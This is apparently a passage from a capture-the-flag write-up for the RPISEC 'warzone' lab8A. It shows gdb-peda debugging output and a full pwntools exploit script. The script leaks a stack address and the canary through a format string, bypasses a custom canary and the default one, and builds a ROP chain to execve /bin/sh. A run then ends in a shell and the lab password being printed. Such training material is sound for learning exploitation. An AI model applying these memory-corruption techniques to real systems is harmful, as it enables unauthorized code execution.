0028| 0xbffff704 --> 0x44d44700
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x080490dd in findSomeWords ()
gdb-peda$ c
Continuing.

..I like to read ^_^ <==  [----------------------------------registers-----------------------------------]
EAX: 0xbffff6c8 --> 0x804f510 (<printf+32>:     add    esp,0x1c)
EBX: 0x80481a8 (<_init>:        push   ebx)
ECX: 0xffffffff
EDX: 0x80ed4d4 --> 0x0
ESI: 0x0
EDI: 0x80ec00c --> 0x80662a0 (<__stpcpy_ssse3>: mov    edx,DWORD PTR [esp+0x4])
EBP: 0xbffff6e4 --> 0xbffff708 --> 0x8049990 (<__libc_csu_fini>:        push   ebx)
ESP: 0xbffff6bc --> 0x0
EIP: 0x8049128 (<findSomeWords+75>:     call   0x806d6d0 <read>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804911a <findSomeWords+61>:        lea    eax,[ebp-0x1c]
   0x804911d <findSomeWords+64>:        mov    DWORD PTR [esp+0x4],eax
   0x8049121 <findSomeWords+68>:        mov    DWORD PTR [esp],0x0
=> 0x8049128 <findSomeWords+75>:        call   0x806d6d0 <read>
   0x804912d <findSomeWords+80>:        mov    eax,ds:0x80edf20
   0x8049132 <findSomeWords+85>:        mov    edx,DWORD PTR [eax]
   0x8049134 <findSomeWords+87>:        mov    eax,ds:0x80edf24
   0x8049139 <findSomeWords+92>:        mov    eax,DWORD PTR [eax]
Guessed arguments:
arg[0]: 0x0
arg[1]: 0xbffff6c8 --> 0x804f510 (<printf+32>:  add    esp,0x1c)
arg[2]: 0x800
[------------------------------------stack-------------------------------------]
0000| 0xbffff6bc --> 0x0
0004| 0xbffff6c0 --> 0xbffff6c8 --> 0x804f510 (<printf+32>:     add    esp,0x1c)
0008| 0xbffff6c4 --> 0x800
0012| 0xbffff6c8 --> 0x804f510 (<printf+32>:    add    esp,0x1c)
0016| 0xbffff6cc --> 0x80ec200 --> 0xfbad2887
0020| 0xbffff6d0 --> 0x80c0894 ('*' <repeats 46 times>, "\n{|}  Welcome to QUEND's Beta-Book-Browser  {|}\n", '*' <repeats 46 times>, "\n\n\t==> reading is for everyone <==\n\t[+] Enter Your Favorite "...)
0024| 0xbffff6d4 --> 0xbffff6f0 --> 0x0
0028| 0xbffff6d8 --> 0x80481a8 (<_init>:        push   ebx)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x08049128 in findSomeWords ()
gdb-peda$ p 0xbffff6e8 - 0xbffff6c8
$1 = 0x20

Thus the offset from the buffer buf to the return address is 0x20 = 32 byte.

Summing it up our second exploit will do the following:
–> Leak a stack address and the stack canary and store "/bin/sh" on the stack using the function selectABook.
–> Enter some valid input to trigger the function call to findSomeWords.
–> Make sure the input contains the value 0xdeadbeef at offset 16 to bypass the custom stack canary.
–> Append the leaked stack canary to bypass the default stack canary.
–> Append the ROP-chain we already used overwriting the return address with the address of the first gadget (this time no need for a pivoting gadget!).

The final python-script for the second exploit:

lab8A@warzone:/levels/lab08$ cat /tmp/exploit_lab8A_2.py
from pwn import *

p = remote("localhost", 8841)

#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# leak stack address & canary and store string /bin/sh

fmt = "%p%130$p/bin/sh" # stack_leak & stack_canary + /bin/sh for later use
p.sendline(fmt)
ret = p.recv(1000)
hexdump(ret)
stack_leak = int(ret[0xe1:0xe9], 16)
log.success("stack_leak: " + hex(stack_leak))
stack_can = int(ret[0xeb:0xf3], 16)
log.success("stack_canary: " + hex(stack_can))
addr_binsh = stack_leak + 8

#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# enter valid input in order to trigger findSomeWords

p.sendline("A")
p.recvuntil("..I like to read ^_^ <==  ")

#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# setup exploit

expl  = "A" * 16
expl += p32(0xdeadbeef) # custom stack canary
expl += "A" * 4
expl += p32(stack_can)  # default canary before saved ebp
expl += "A" * 4         # saved ebp
                        # return address at offset 32

expl += p32(0x08054b45) # mov edx, 0xffffffff; ret

expl += p32(0x0807b8dc) # inc edx; adc al,0x39; ret

                        # --> EDX = 0

expl += p32(0x08049c73) # xor ecx, ecx; pop ebx; mov eax, ecx;
                        # pop esi; pop edi; pop ebp; ret
expl += p32(addr_binsh) #  -> ebx
expl += p32(0xdeadbeef) #  -> esi
expl += p32(0xdeadbeef) #  -> edi
expl += p32(0xdeadbeef) #  -> ebp

                        # --> ECX = 0
                        # --> EAX = 0
                        # --> EBX = address of "/bin/sh"

expl += p32(0x08069443) # add eax, edi; pop edi; ret
expl += p32(0x2152411c) #  -> edi: 0xdeadbeef + 0x2152411c = 0x10000000b

expl += p32(0x08069443) # add eax, edi; pop edi; ret
expl += p32(0xdeadbeef) #  -> edi

                        # --> EAX = 0xB

expl += p32(0x08048ef6) # int 0x80

p.sendline(expl)

p.interactive()

Running the script:

lab8A@warzone:/levels/lab08$ python /tmp/exploit_lab8A_2.py
[+] Opening connection to localhost on port 8841: Done
[+] stack_leak: 0xbfa736c0
[+] stack_canary: 0xc8b37100
[*] Switching to interactive mode
$ id
uid=1032(lab8end) gid=1033(lab8end) groups=1033(lab8end),1001(gameuser)
$ cat /home/lab8end/.pass
H4x0r5_d0nt_N33d_m3t4pHYS1c5

Done! The final password for this lab is H4x0r5_d0nt_N33d_m3t4pHYS1c5.